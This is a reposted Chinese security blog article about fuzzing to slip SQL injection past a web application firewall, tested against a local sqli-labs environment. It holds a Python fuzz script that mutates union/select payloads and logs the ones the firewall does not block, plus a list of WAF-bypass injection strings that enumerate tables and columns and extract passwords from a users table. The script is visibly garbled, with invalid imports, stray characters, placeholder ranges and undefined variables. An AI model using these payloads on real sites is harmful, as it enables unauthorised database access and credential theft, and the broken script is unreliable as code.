前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次Fuzz绕WAF实现SQL 注入

记一次Fuzz绕WAF实现SQL 注入

作者头像
FB客服
发布2021-07-02 15:11:49
1.3K0
发布2021-07-02 15:11:49
举报
文章被收录于专栏:FreeBufFreeBuf

0×00简介

本文使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。

0×01SQL注入绕waf常用的方法

使用大小写绕过 例如:

使用注释符/**/ #绕过 使用/!**/绕过 根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/ 更改user-agent …….

0×02 使用/**/结合Fuzz绕过

先组建好sql注入本地测试平台,在服务器中安装某WAF狗。本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。

访问搭建好的SQL注入平台.

先进行测试过程为:?id=1’ union select 1,2,3—+ 拦截 。

?id=1’ /union /select 1,2,3—+ 拦截 。

?id=1’ /union / 1,2,3—+ 不拦截

?id=1’ union 1,2,3—+不拦截

?id=1’ select 1,2,3—+不拦截

说明union和select在一起会拦截

使用/%0a/union/%0a/select/%0a/1,2,3—+ 拦截 PS:%0a是换行意思

那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:

代码语言:javascript
复制
From urllib import requests

import time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'

union='union'

select='select'

num='1,2,3'

l={'%0a','%23'}

ll={'S'}

lll={'%0a','%23'}

x='/*!'

f='*/'

def bypass():

for xiaofei in a:6t

for xiaofeii in ll:

for xiaofeiii inlll:

for two in range(?,?):   #?自己指定步长

urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+num

try:

result=requests.get(urls).text

len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。

if (result.find('safedog') == -1):
#print('bypass url addreess:' + urls + '|' + str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt', 'l+')

fp.write(urls + '\n')

fp.close()

except Exception as err:

print('connecting error')

time.sleep(0.1)

if __name__ == '__main__':

print('fuzz strat!')

bypass()

0×03 测试结果

测试结果为:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/S%0a/union/x%0a/select/x%0a/ 1,2,3没有被拦截。

0×04 扩展

同样利用其他方法进行爆破,下面是payload。

代码语言:javascript
复制
?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×00简介
  • 0×01SQL注入绕waf常用的方法
  • 0×02 使用/**/结合Fuzz绕过
  • 0×04 扩展
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档